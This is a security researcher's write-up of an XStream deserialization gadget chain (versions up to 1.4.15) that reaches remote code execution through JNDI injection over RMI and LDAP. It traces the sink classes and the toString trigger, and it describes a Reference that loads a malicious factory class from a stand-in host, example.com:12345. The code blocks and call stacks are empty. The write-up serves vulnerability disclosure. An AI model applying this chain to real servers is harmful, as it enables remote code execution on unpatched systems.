Screenshot of the proof of vulnerability recurrence
Scope of Impact
XStream<=1.4.15
Vulnerability Analysis
I found a chain a year ago, but the repair of several chains and I find the sink point and trigger toString point are different, this should be considered a new CVE, here to share out.
Review the call stack of CVE-2020-26217
1 |
|
The entry of hashcode()->toString()
of jdk.nashorn.internal.objects.NativeString
and the sink point javax.imageio.ImageIO$ContainsFilter
are added to the blacklist.
But we can reuse java.io.SequenceInputStream#nextStream
to find the new sink point.
RMI
com.sun.jndi.rmi.registry.BindingEnumeration
Both ctx
and var2
are under our control, so JNDI injection is possible here. However, ctx
is of type com.sun.jndi.rmi.registry.RegistryContext
, so we can only hit rmi’s JNDI injection.
LDAP
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
DirectoryManager.getObjectInstance
can load malicious classes by passing in Reference
objects. var6
, this.homeCtx, this.homeCtx.envprops, var2
we can control, backtrack a bit to var4
.
Following up on decodeReference
, since var0 in decodeObject
is under our control, we can finally get the code into the decodeReference
method, and all the parameters of new Reference
are under our control, constructing new Reference(" refClassName", "factoryClassName", "http://example.com:12345/"
) passed into DirectoryManager.getObjectInstance
to load http://example.com: 12345/
on the class named factoryClassName.class,
the malicious code into the static code block can be arbitrary code execution
.
com.sun.jndi.ldap.LdapBindingEnumeration
directly to this.data
is not null, so I used com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
to indirectly call the LdapBindingEnumeration#next
method.
Trigger toString()
Then there is the toString
entry, and after looking around all the classes for the hashcode()
method there is no class that can trigger toString
, as SerializableConverter
supports calling the readObject
method, provided the class implements the java.io. Serializable
interface (properties of classes that do not implement it can still be assigned normally) and are not caught by the previous converter, so we can look for readObject
methods of all classes.
The more common ones are javax.management.BadAttributeValueExpException#readObject
, but this class inherits from Throwable
and will be restocked by the ThrowableConverter
and cannot be SerializableConverter
to parse.
So we need to find a new class, I found a chain that can be used for Java native deserialization to trigger toString()
, here is not public, here are a few public CVEs used in the toString
chain.
1 |
|
However, this chain can only be used in XStream and not in Java native deserialization, because javafx.collections.ObservableList
.
Calling the stack
RMI
1 |
|
Ldap
1 |
|
Author
Smi1e@WEBIN.LAB - DBAPPSecurity
Topic
#XStream #RCE #JNDI #Deserialization